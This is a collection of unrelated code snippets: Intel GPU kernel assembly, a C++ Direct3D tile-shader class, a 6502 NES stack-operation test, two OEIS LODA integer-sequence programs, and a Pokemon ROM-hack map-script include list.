add (8|M0) r17.0<1>:f acc0.0<8;8,1>:f r17.0<8;8,1>:f
mov (8|M0) acc0.0<1>:f r23.3<0;1,0>:f
mac (8|M0) r14.0<1>:f r25.4<0;1,0>:f r10.7<0;1,0>:f
mac (8|M0) r15.0<1>:f r25.4<0;1,0>:f r10.6<0;1,0>:f
send (16|M0) r72:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0201:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r76:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0302:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r78:uw r13:ub 0x2 a0.0
mul (8|M0) acc0.0<1>:f r25.4<0;1,0>:f 2.0:f
add (8|M0) r14.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f
add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r15.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r72.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r64.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r76.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r68.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r78.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r70.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r64.0<1>:uw r64.0<16;8,2>:uw
mov (16|M0) r68.0<1>:uw r68.0<16;8,2>:uw
mov (16|M0) r70.0<1>:uw r70.0<16;8,2>:uw
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0100:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r72:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0201:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r76:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0302:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r78:uw r13:ub 0x2 a0.0
mul (8|M0) acc0.0<1>:f r25.5<0;1,0>:f -8.0:f
add (8|M0) r16.0<1>:f acc0.0<8;8,1>:f r16.0<8;8,1>:f
add (8|M0) r17.0<1>:f acc0.0<8;8,1>:f r17.0<8;8,1>:f
mul (8|M0) acc0.0<1>:f r25.4<0;1,0>:f -2.0:f
add (8|M0) r14.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f
add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r15.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r72.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r72.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r76.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r74.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r78.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r76.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r65.0<1>:uw r72.0<16;8,2>:uw
mov (16|M0) r69.0<1>:uw r74.0<16;8,2>:uw
mov (16|M0) r71.0<1>:uw r76.0<16;8,2>:uw
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0100:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r72:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0201:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r76:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0302:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r78:uw r13:ub 0x2 a0.0
mul (8|M0) acc0.0<1>:f r25.4<0;1,0>:f 2.0:f
add (8|M0) r14.0<1>:f acc0.0<8;8,1>:f r14.0<8;8,1>:f
add (8|M0) r15.0<1>:f acc0.0<8;8,1>:f r15.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r72.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r72.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r76.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r76.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r78.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r78.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r10.0<1>:uw r72.0<16;8,2>:uw
mov (16|M0) r11.0<1>:uw r76.0<16;8,2>:uw
mov (16|M0) r12.0<1>:uw r78.0<16;8,2>:uw
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0100:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r72:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0201:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r76:uw r13:ub 0x2 a0.0
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0302:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
send (16|M0) r78:uw r13:ub 0x2 a0.0
mul (16|M0) acc0.0<1>:f r72.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r72.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r76.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r76.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r78.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r78.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r73.0<1>:uw r72.0<16;8,2>:uw
mov (16|M0) r77.0<1>:uw r76.0<16;8,2>:uw
mov (16|M0) r79.0<1>:uw r78.0<16;8,2>:uw
mov (16|M0) r72.0<1>:uw r10.0<16;16,1>:uw
mov (16|M0) r76.0<1>:uw r11.0<16;16,1>:uw
mov (16|M0) r78.0<1>:uw r12.0<16;16,1>:uw
mov (16|M0) r66.0<1>:uw 0xFFFF:uw
mov (16|M0) r67.0<1>:uw 0xFFFF:uw
mov (16|M0) r74.0<1>:uw 0xFFFF:uw
mov (16|M0) r75.0<1>:uw 0xFFFF:uw
mov (1|M0) a0.8<1>:uw 0x800:uw
mov (1|M0) a0.9<1>:uw 0x880:uw
mov (1|M0) a0.10<1>:uw 0x8C0:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw
L1824:
nop
|
#include "TileShader.h"
#include "DiffuseShaderComponent.h"
#include "SamplerStateShaderComponent.h"
#include "WVPShaderComponent.h"
#include "LightShaderComponent.h"
TileShader::TileShader(D3DDevice device, D3DDeviceContext deviceContext)
: BasicShader(device, deviceContext)
{
this->_vsFilename = L"..\\Assets\\Shaders\\TileShader.vs";
this->_psFilename = L"..\\Assets\\Shaders\\TileShader.ps";
this->_vertexShaderEntryPoint = "vertexMain";
this->_pixelShaderEntryPoint = "pixelMain";
this->_vsVersion = "vs_5_0";
this->_psVersion = "ps_5_0";
}
TileShader::~TileShader()
{
}
void TileShader::SetDiffuseTexture(shared_ptr<Texture> texture)
{
auto& comps = this->GetComponents();
auto ptr = static_cast<DiffuseShaderComponent*>(comps[2].get());
ptr->SetTexture(texture);
}
void TileShader::SetComponents()
{
_shaderComponentManager.Add(make_shared<WVPShaderComponent>());
_shaderComponentManager.Add(make_shared<SamplerStateShaderComponent>(StatesHelper::GetInstance().GetStates()->LinearWrap()));
_shaderComponentManager.Add(make_shared<DiffuseShaderComponent>());
_shaderComponentManager.Add(make_shared<LightShaderComponent>());
}
void TileShader::GetPolygonLayout(shared_ptr<D3D11_INPUT_ELEMENT_DESC>& desc, unsigned int& numElements)
{
numElements = 3;
desc = shared_ptr<D3D11_INPUT_ELEMENT_DESC>(new D3D11_INPUT_ELEMENT_DESC[numElements]);
desc.get()[0].SemanticName = "POSITION";
desc.get()[0].SemanticIndex = 0;
desc.get()[0].Format = DXGI_FORMAT_R32G32B32_FLOAT;
desc.get()[0].InputSlot = 0;
desc.get()[0].AlignedByteOffset = 0;
desc.get()[0].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA;
desc.get()[0].InstanceDataStepRate = 0;
desc.get()[1].SemanticName = "TEXCOORD";
desc.get()[1].SemanticIndex = 0;
desc.get()[1].Format = DXGI_FORMAT_R32G32_FLOAT;
desc.get()[1].InputSlot = 0;
desc.get()[1].AlignedByteOffset = D3D11_APPEND_ALIGNED_ELEMENT;
desc.get()[1].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA;
desc.get()[1].InstanceDataStepRate = 0;
desc.get()[2].SemanticName = "NORMAL";
desc.get()[2].SemanticIndex = 0;
desc.get()[2].Format = DXGI_FORMAT_R32G32B32_FLOAT;
desc.get()[2].InputSlot = 0;
desc.get()[2].AlignedByteOffset = D3D11_APPEND_ALIGNED_ELEMENT;
desc.get()[2].InputSlotClass = D3D11_INPUT_PER_VERTEX_DATA;
desc.get()[2].InstanceDataStepRate = 0;
}
|
;;;;;;;;;;;;;;;;
; test stack operations
;;;;;;;;;;;;;;;;
; required for execution on the NES
.org $8000
;;;;;;;;;;;;;;;;
; basic stack operations
;;;;;;;;;;;;;;;;
LDA #$01 ; set acc
PHA ; push acc to stack
LDA #$02 ; set acc
PHA ; push acc to stack
LDA #$00 ; reset acc
TSX ; copy sp to x
PLA ; pull acc from stack
TAY ; copy acc to y
PLA ; pull acc from stack
NOP ; perform assertions:
; a = 0x01
; x = 0xFD
; y = 0x02
; sp = 0xFF
LDA #$01 ; set acc
PHA ; push acc to stack
LDA #$02 ; set acc
PHA ; push acc to stack
LDX #$FC ; set x=0xFC
TXS ; set sp=0xFC
PLA ; pull acc from stack
TAX ; copy acc to x
PLA ; pull acc from stack
TAY ; copy acc to y
PLA ; pull acc from stack
NOP ; perform assertions:
; a = 0x01
; x = 0x00
; y = 0x02
; sp = 0xFF
;;;;;;;;;;;;;;;;
; processor status push/pop
;;;;;;;;;;;;;;;;
SEC ; set carry flag
SEI ; set interrupt disable just for fun
PHP ; push status to stack
CLC ; clear carry flag
CLI ; clear interrupt disable flag
PLP ; pull status from stack
NOP ; perform assertions:
; C = 1
; Z = 0
; I = 1
; N = 0
|
; A058319: Coefficients (multiplied by 48) in Alternative Extended Simpson's rule for numerical integration.
; 17,59,43,49,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48,48
mov $3,2
mov $7,$0
lpb $3,1
mov $0,$7
sub $3,1
add $0,$3
sub $0,1
mov $17,$0
mov $19,2
lpb $19,1
mov $0,$17
sub $19,1
add $0,$19
sub $0,1
mov $13,$0
mov $15,2
lpb $15,1
sub $15,1
add $0,$15
sub $0,1
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $6,$0
add $0,1
mov $8,3
add $8,$6
mul $8,$0
pow $8,2
mul $8,2
mov $5,$8
sub $5,1
mov $4,$5
mov $12,$11
lpb $12,1
mov $10,$4
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$4
lpe
mov $4,$10
mov $16,$15
lpb $16,1
mov $14,$4
sub $16,1
lpe
lpe
lpb $13,1
mov $13,0
sub $14,$4
lpe
mov $4,$14
mov $20,$19
lpb $20,1
mov $18,$4
sub $20,1
lpe
lpe
lpb $17,1
mov $17,0
sub $18,$4
lpe
mov $2,$3
mov $4,$18
lpb $2,1
mov $1,$4
sub $2,1
lpe
lpe
lpb $7,1
sub $1,$4
mov $7,0
lpe
|
; A062758: Product of squares of divisors of n.
; 1,4,9,64,25,1296,49,4096,729,10000,121,2985984,169,38416,50625,1048576,289,34012224,361,64000000,194481,234256,529,110075314176,15625,456976,531441,481890304,841,656100000000,961,1073741824,1185921,1336336,1500625,101559956668416,1369,2085136,2313441,6553600000000,1681,9682651996416,1849,7256313856,8303765625,4477456,2209,64925062108545024,117649,15625000000,6765201,19770609664,2809,72301961339136,9150625,96717311574016,10556001,11316496,3481,2176782336000000000000,3721,14776336,62523502209
mov $1,$0
add $0,1
seq $1,7956 ; Product of proper divisors of n.
mul $0,$1
pow $0,2
|
SECTION "Map Scripts 1", ROMX
INCLUDE "maps/Pokecenter2F.asm"
INCLUDE "maps/TradeCenter.asm"
INCLUDE "maps/Colosseum.asm"
INCLUDE "maps/TimeCapsule.asm"
INCLUDE "maps/MobileTradeRoom.asm"
INCLUDE "maps/MobileBattleRoom.asm"
INCLUDE "maps/DebugRoom.asm"
SECTION "Map Scripts 2", ROMX
INCLUDE "maps/TwinleafTown.asm"
INCLUDE "maps/PlayersHouse1F.asm"
INCLUDE "maps/PlayersHouse2F.asm"
INCLUDE "maps/RivalHouse1F.asm"
INCLUDE "maps/RivalHouse2F.asm"
INCLUDE "maps/TwinleafHouse1.asm"
INCLUDE "maps/TwinleafHouse2.asm"
INCLUDE "maps/LakeVerityLow.asm"
INCLUDE "maps/LakeVerityHigh.asm"
INCLUDE "maps/LakeVerityCavern.asm"
SECTION "Map Scripts 3", ROMX
INCLUDE "maps/Route201.asm"
INCLUDE "maps/SandgemTown.asm"
INCLUDE "maps/RowansLab.asm"
INCLUDE "maps/SandgemHouse1.asm"
INCLUDE "maps/AssistantHouse1F.asm"
INCLUDE "maps/AssistantHouse2F.asm"
INCLUDE "maps/SandgemPokemonCenter1F.asm"
INCLUDE "maps/SandgemPokeMart.asm"
INCLUDE "maps/Route202.asm"
INCLUDE "maps/JubilifeCity.asm"
INCLUDE "maps/Route203.asm"
INCLUDE "maps/JubilifeApartmentSE1F.asm"
INCLUDE "maps/JubilifeApartmentSE2F.asm"
INCLUDE "maps/JubilifeApartmentNE1F.asm"
INCLUDE "maps/JubilifeApartmentNE2F.asm"
INCLUDE "maps/JubilifeApartmentSW1F.asm"
INCLUDE "maps/JubilifeApartmentSW2F.asm"
INCLUDE "maps/TrainersSchool.asm"
INCLUDE "maps/PoketchCompany1F.asm"
INCLUDE "maps/PoketchCompany2F.asm"
INCLUDE "maps/PoketchCompany3F.asm"
INCLUDE "maps/TVStation1F.asm"
INCLUDE "maps/TVStation2F.asm"
INCLUDE "maps/TVStation2F2.asm"
INCLUDE "maps/TVStation3F.asm"
INCLUDE "maps/TVStation3F2.asm"
INCLUDE "maps/TVStation3F3.asm"
INCLUDE "maps/TVStation4F.asm"
INCLUDE "maps/TVStationElevator.asm"
INCLUDE "maps/PokemonCommunicationCenter.asm"
INCLUDE "maps/JubilifePokemonCenter1F.asm"
INCLUDE "maps/JubilifePokeMart.asm"
INCLUDE "maps/OreburghGate1F.asm"
INCLUDE "maps/OreburghGateB1F.asm"
INCLUDE "maps/OreburghCity.asm"
INCLUDE "maps/OreburghMineB1F.asm"
INCLUDE "maps/OreburghMineB2F.asm"
SECTION "Map Scripts 4", ROMX
SECTION "Map Scripts 5", ROMX
SECTION "Map Scripts 6", ROMX
SECTION "Map Scripts 7", ROMX
SECTION "Map Scripts 8", ROMX
SECTION "Map Scripts 9", ROMX
SECTION "Map Scripts 10", ROMX
SECTION "Map Scripts 11", ROMX
SECTION "Map Scripts 12", ROMX
SECTION "Map Scripts 13", ROMX
SECTION "Map Scripts 14", ROMX
SECTION "Map Scripts 15", ROMX
SECTION "Map Scripts 16", ROMX
SECTION "Map Scripts 17", ROMX
SECTION "Map Scripts 18", ROMX
SECTION "Map Scripts 19", ROMX
SECTION "Map Scripts 20", ROMX
SECTION "Map Scripts 21", ROMX
SECTION "Map Scripts 22", ROMX
SECTION "Map Scripts 23", ROMX
SECTION "Map Scripts 24", ROMX
SECTION "Map Scripts 25", ROMX
;SECTION "Map Scripts 1", ROMX
;
;INCLUDE "maps/GoldenrodGym.asm"
;INCLUDE "maps/GoldenrodBikeShop.asm"
;INCLUDE "maps/GoldenrodHappinessRater.asm"
;INCLUDE "maps/BillsFamilysHouse.asm"
;INCLUDE "maps/GoldenrodMagnetTrainStation.asm"
;INCLUDE "maps/GoldenrodFlowerShop.asm"
;INCLUDE "maps/GoldenrodPPSpeechHouse.asm"
;INCLUDE "maps/GoldenrodNameRater.asm"
;INCLUDE "maps/GoldenrodDeptStore1F.asm"
;INCLUDE "maps/GoldenrodDeptStore2F.asm"
;INCLUDE "maps/GoldenrodDeptStore3F.asm"
;INCLUDE "maps/GoldenrodDeptStore4F.asm"
;INCLUDE "maps/GoldenrodDeptStore5F.asm"
;INCLUDE "maps/GoldenrodDeptStore6F.asm"
;INCLUDE "maps/GoldenrodDeptStoreElevator.asm"
;INCLUDE "maps/GoldenrodDeptStoreRoof.asm"
;INCLUDE "maps/GoldenrodGameCorner.asm"
;
;
;SECTION "Map Scripts 2", ROMX
;
;INCLUDE "maps/RuinsOfAlphOutside.asm"
;INCLUDE "maps/RuinsOfAlphHoOhChamber.asm"
;INCLUDE "maps/RuinsOfAlphKabutoChamber.asm"
;INCLUDE "maps/RuinsOfAlphOmanyteChamber.asm"
;INCLUDE "maps/RuinsOfAlphAerodactylChamber.asm"
;INCLUDE "maps/RuinsOfAlphInnerChamber.asm"
;INCLUDE "maps/RuinsOfAlphResearchCenter.asm"
;INCLUDE "maps/RuinsOfAlphHoOhItemRoom.asm"
;INCLUDE "maps/RuinsOfAlphKabutoItemRoom.asm"
;INCLUDE "maps/RuinsOfAlphOmanyteItemRoom.asm"
;INCLUDE "maps/RuinsOfAlphAerodactylItemRoom.asm"
;INCLUDE "maps/RuinsOfAlphHoOhWordRoom.asm"
;INCLUDE "maps/RuinsOfAlphKabutoWordRoom.asm"
;INCLUDE "maps/RuinsOfAlphOmanyteWordRoom.asm"
;INCLUDE "maps/RuinsOfAlphAerodactylWordRoom.asm"
;INCLUDE "maps/UnionCave1F.asm"
;INCLUDE "maps/UnionCaveB1F.asm"
;INCLUDE "maps/UnionCaveB2F.asm"
;INCLUDE "maps/SlowpokeWellB1F.asm"
;INCLUDE "maps/SlowpokeWellB2F.asm"
;INCLUDE "maps/OlivineLighthouse1F.asm"
;INCLUDE "maps/OlivineLighthouse2F.asm"
;INCLUDE "maps/OlivineLighthouse3F.asm"
;INCLUDE "maps/OlivineLighthouse4F.asm"
;
;
;SECTION "Map Scripts 3", ROMX
;
;INCLUDE "maps/NationalPark.asm"
;INCLUDE "maps/NationalParkBugContest.asm"
;INCLUDE "maps/RadioTower1F.asm"
;INCLUDE "maps/RadioTower2F.asm"
;INCLUDE "maps/RadioTower3F.asm"
;INCLUDE "maps/RadioTower4F.asm"
;
;
;SECTION "Map Scripts 4", ROMX
;
;INCLUDE "maps/RadioTower5F.asm"
;INCLUDE "maps/OlivineLighthouse5F.asm"
;INCLUDE "maps/OlivineLighthouse6F.asm"
;INCLUDE "maps/GoldenrodPokecenter1F.asm"
;INCLUDE "maps/PokecomCenterAdminOfficeMobile.asm"
;INCLUDE "maps/IlexForestAzaleaGate.asm"
;INCLUDE "maps/Route34IlexForestGate.asm"
;INCLUDE "maps/DayCare.asm"
;
;
;SECTION "Map Scripts 5", ROMX
;
;INCLUDE "maps/Route11.asm"
;INCLUDE "maps/VioletMart.asm"
;INCLUDE "maps/VioletGym.asm"
;INCLUDE "maps/EarlsPokemonAcademy.asm"
;INCLUDE "maps/VioletNicknameSpeechHouse.asm"
;INCLUDE "maps/VioletPokecenter1F.asm"
;INCLUDE "maps/VioletKylesHouse.asm"
;INCLUDE "maps/Route32RuinsOfAlphGate.asm"
;INCLUDE "maps/Route32Pokecenter1F.asm"
;INCLUDE "maps/Route35GoldenrodGate.asm"
;INCLUDE "maps/Route35NationalParkGate.asm"
;INCLUDE "maps/Route36RuinsOfAlphGate.asm"
;INCLUDE "maps/Route36NationalParkGate.asm"
;
;
;SECTION "Map Scripts 6", ROMX
;
;INCLUDE "maps/Route8.asm"
;INCLUDE "maps/MahoganyMart1F.asm"
;INCLUDE "maps/TeamRocketBaseB1F.asm"
;INCLUDE "maps/TeamRocketBaseB2F.asm"
;INCLUDE "maps/TeamRocketBaseB3F.asm"
;INCLUDE "maps/IlexForest.asm"
;
;
;SECTION "Map Scripts 7", ROMX
;
;INCLUDE "maps/LakeOfRage.asm"
;INCLUDE "maps/CeladonDeptStore1F.asm"
;INCLUDE "maps/CeladonDeptStore2F.asm"
;INCLUDE "maps/CeladonDeptStore3F.asm"
;INCLUDE "maps/CeladonDeptStore4F.asm"
;INCLUDE "maps/CeladonDeptStore5F.asm"
;INCLUDE "maps/CeladonDeptStore6F.asm"
;INCLUDE "maps/CeladonDeptStoreElevator.asm"
;INCLUDE "maps/CeladonMansion1F.asm"
;INCLUDE "maps/CeladonMansion2F.asm"
;INCLUDE "maps/CeladonMansion3F.asm"
;INCLUDE "maps/CeladonMansionRoof.asm"
;INCLUDE "maps/CeladonMansionRoofHouse.asm"
;INCLUDE "maps/CeladonPokecenter1F.asm"
;INCLUDE "maps/CeladonPokecenter2FBeta.asm"
;INCLUDE "maps/CeladonGameCorner.asm"
;INCLUDE "maps/CeladonGameCornerPrizeRoom.asm"
;INCLUDE "maps/CeladonGym.asm"
;INCLUDE "maps/CeladonCafe.asm"
;INCLUDE "maps/Route16FuchsiaSpeechHouse.asm"
;INCLUDE "maps/Route16Gate.asm"
;INCLUDE "maps/Route7SaffronGate.asm"
;INCLUDE "maps/Route17Route18Gate.asm"
;
;
;SECTION "Map Scripts 8", ROMX
;
;INCLUDE "maps/DiglettsCave.asm"
;INCLUDE "maps/MountMoon.asm"
;INCLUDE "maps/UndergroundPath.asm"
;INCLUDE "maps/RockTunnel1F.asm"
;INCLUDE "maps/RockTunnelB1F.asm"
;INCLUDE "maps/SafariZoneFuchsiaGateBeta.asm"
;INCLUDE "maps/VictoryRoad.asm"
;INCLUDE "maps/OlivinePort.asm"
;INCLUDE "maps/VermilionPort.asm"
;INCLUDE "maps/FastShip1F.asm"
;INCLUDE "maps/FastShipCabins_NNW_NNE_NE.asm"
;INCLUDE "maps/FastShipCabins_SW_SSW_NW.asm"
;INCLUDE "maps/FastShipCabins_SE_SSE_CaptainsCabin.asm"
;INCLUDE "maps/FastShipB1F.asm"
;INCLUDE "maps/OlivinePortPassage.asm"
;INCLUDE "maps/VermilionPortPassage.asm"
;INCLUDE "maps/MountMoonSquare.asm"
;INCLUDE "maps/MountMoonGiftShop.asm"
;INCLUDE "maps/TinTowerRoof.asm"
;
;
;SECTION "Map Scripts 9", ROMX
;
;INCLUDE "maps/Route34.asm"
;INCLUDE "maps/PlayersNeighborsHouse.asm"
;INCLUDE "maps/ElmsHouse.asm"
;INCLUDE "maps/Route26HealHouse.asm"
;INCLUDE "maps/DayOfWeekSiblingsHouse.asm"
;INCLUDE "maps/Route27SandstormHouse.asm"
;INCLUDE "maps/Route29Route46Gate.asm"
;
;
;SECTION "Map Scripts 10", ROMX
;
;INCLUDE "maps/Route22.asm"
;INCLUDE "maps/GoldenrodUnderground.asm"
;INCLUDE "maps/GoldenrodUndergroundSwitchRoomEntrances.asm"
;INCLUDE "maps/GoldenrodDeptStoreB1F.asm"
;INCLUDE "maps/GoldenrodUndergroundWarehouse.asm"
;INCLUDE "maps/MountMortar1FOutside.asm"
;INCLUDE "maps/MountMortar1FInside.asm"
;INCLUDE "maps/MountMortar2FInside.asm"
;INCLUDE "maps/MountMortarB1F.asm"
;INCLUDE "maps/IcePath1F.asm"
;INCLUDE "maps/IcePathB1F.asm"
;INCLUDE "maps/IcePathB2FMahoganySide.asm"
;INCLUDE "maps/IcePathB2FBlackthornSide.asm"
;INCLUDE "maps/IcePathB3F.asm"
;INCLUDE "maps/LavenderPokecenter1F.asm"
;INCLUDE "maps/LavenderPokecenter2FBeta.asm"
;INCLUDE "maps/MrFujisHouse.asm"
;INCLUDE "maps/LavenderSpeechHouse.asm"
;INCLUDE "maps/LavenderNameRater.asm"
;INCLUDE "maps/LavenderMart.asm"
;INCLUDE "maps/SoulHouse.asm"
;INCLUDE "maps/LavRadioTower1F.asm"
;INCLUDE "maps/Route8SaffronGate.asm"
;INCLUDE "maps/Route12SuperRodHouse.asm"
;
;
;SECTION "Map Scripts 11", ROMX
;
;INCLUDE "maps/EcruteakTinTowerEntrance.asm"
;INCLUDE "maps/WiseTriosRoom.asm"
;INCLUDE "maps/EcruteakPokecenter1F.asm"
;INCLUDE "maps/EcruteakLugiaSpeechHouse.asm"
;INCLUDE "maps/DanceTheatre.asm"
;INCLUDE "maps/EcruteakMart.asm"
;INCLUDE "maps/EcruteakGym.asm"
;INCLUDE "maps/EcruteakItemfinderHouse.asm"
;INCLUDE "maps/ViridianGym.asm"
;INCLUDE "maps/ViridianNicknameSpeechHouse.asm"
;INCLUDE "maps/TrainerHouse1F.asm"
;INCLUDE "maps/TrainerHouseB1F.asm"
;INCLUDE "maps/ViridianMart.asm"
;INCLUDE "maps/ViridianPokecenter1F.asm"
;INCLUDE "maps/ViridianPokecenter2FBeta.asm"
;INCLUDE "maps/Route2NuggetHouse.asm"
;INCLUDE "maps/Route2Gate.asm"
;INCLUDE "maps/VictoryRoadGate.asm"
;
;
;SECTION "Map Scripts 12", ROMX
;
;INCLUDE "maps/OlivinePokecenter1F.asm"
;INCLUDE "maps/OlivineGym.asm"
;INCLUDE "maps/OlivineTimsHouse.asm"
;INCLUDE "maps/OlivineHouseBeta.asm"
;INCLUDE "maps/OlivinePunishmentSpeechHouse.asm"
;INCLUDE "maps/OlivineGoodRodHouse.asm"
;INCLUDE "maps/OlivineCafe.asm"
;INCLUDE "maps/OlivineMart.asm"
;INCLUDE "maps/Route38EcruteakGate.asm"
;INCLUDE "maps/Route39Barn.asm"
;INCLUDE "maps/Route39Farmhouse.asm"
;INCLUDE "maps/ManiasHouse.asm"
;INCLUDE "maps/CianwoodGym.asm"
;INCLUDE "maps/CianwoodPokecenter1F.asm"
;INCLUDE "maps/CianwoodPharmacy.asm"
;INCLUDE "maps/CianwoodPhotoStudio.asm"
;INCLUDE "maps/CianwoodLugiaSpeechHouse.asm"
;INCLUDE "maps/PokeSeersHouse.asm"
;INCLUDE "maps/BattleTower1F.asm"
;INCLUDE "maps/BattleTowerBattleRoom.asm"
;INCLUDE "maps/BattleTowerElevator.asm"
;INCLUDE "maps/BattleTowerHallway.asm"
;INCLUDE "maps/Route40BattleTowerGate.asm"
;INCLUDE "maps/BattleTowerOutside.asm"
;
;
;SECTION "Map Scripts 13", ROMX
;
;INCLUDE "maps/IndigoPlateauPokecenter1F.asm"
;INCLUDE "maps/WillsRoom.asm"
;INCLUDE "maps/KogasRoom.asm"
;INCLUDE "maps/BrunosRoom.asm"
;INCLUDE "maps/KarensRoom.asm"
;INCLUDE "maps/LancesRoom.asm"
;INCLUDE "maps/HallOfFame.asm"
;
;
;SECTION "Map Scripts 14", ROMX
;
;INCLUDE "maps/CeruleanCity.asm"
;INCLUDE "maps/SproutTower2F.asm"
;INCLUDE "maps/SproutTower3F.asm"
;INCLUDE "maps/TinTower1F.asm"
;INCLUDE "maps/TinTower2F.asm"
;INCLUDE "maps/TinTower3F.asm"
;INCLUDE "maps/TinTower4F.asm"
;INCLUDE "maps/TinTower5F.asm"
;INCLUDE "maps/TinTower6F.asm"
;INCLUDE "maps/TinTower7F.asm"
;INCLUDE "maps/TinTower8F.asm"
;INCLUDE "maps/TinTower9F.asm"
;INCLUDE "maps/BurnedTower1F.asm"
;INCLUDE "maps/BurnedTowerB1F.asm"
;
;
;SECTION "Map Scripts 15", ROMX
;
;INCLUDE "maps/CeruleanGymBadgeSpeechHouse.asm"
;INCLUDE "maps/CeruleanPoliceStation.asm"
;INCLUDE "maps/CeruleanTradeSpeechHouse.asm"
;INCLUDE "maps/CeruleanPokecenter1F.asm"
;INCLUDE "maps/CeruleanPokecenter2FBeta.asm"
;INCLUDE "maps/CeruleanGym.asm"
;INCLUDE "maps/CeruleanMart.asm"
;INCLUDE "maps/Route10Pokecenter1F.asm"
;INCLUDE "maps/Route10Pokecenter2FBeta.asm"
;INCLUDE "maps/PowerPlant.asm"
;INCLUDE "maps/BillsHouse.asm"
;INCLUDE "maps/FightingDojo.asm"
;INCLUDE "maps/SaffronGym.asm"
;INCLUDE "maps/SaffronMart.asm"
;INCLUDE "maps/SaffronPokecenter1F.asm"
;INCLUDE "maps/SaffronPokecenter2FBeta.asm"
;INCLUDE "maps/MrPsychicsHouse.asm"
;INCLUDE "maps/SaffronMagnetTrainStation.asm"
;INCLUDE "maps/SilphCo1F.asm"
;INCLUDE "maps/CopycatsHouse1F.asm"
;INCLUDE "maps/CopycatsHouse2F.asm"
;INCLUDE "maps/Route5UndergroundPathEntrance.asm"
;INCLUDE "maps/Route5SaffronGate.asm"
;INCLUDE "maps/Route5CleanseTagHouse.asm"
;
;
;SECTION "Map Scripts 16", ROMX
;
;INCLUDE "maps/PewterCity.asm"
;INCLUDE "maps/WhirlIslandNW.asm"
;INCLUDE "maps/WhirlIslandNE.asm"
;INCLUDE "maps/WhirlIslandSW.asm"
;INCLUDE "maps/WhirlIslandCave.asm"
;INCLUDE "maps/WhirlIslandSE.asm"
;INCLUDE "maps/WhirlIslandB1F.asm"
;INCLUDE "maps/WhirlIslandB2F.asm"
;INCLUDE "maps/WhirlIslandLugiaChamber.asm"
;INCLUDE "maps/SilverCaveRoom1.asm"
;INCLUDE "maps/SilverCaveRoom2.asm"
;INCLUDE "maps/SilverCaveRoom3.asm"
;INCLUDE "maps/SilverCaveItemRooms.asm"
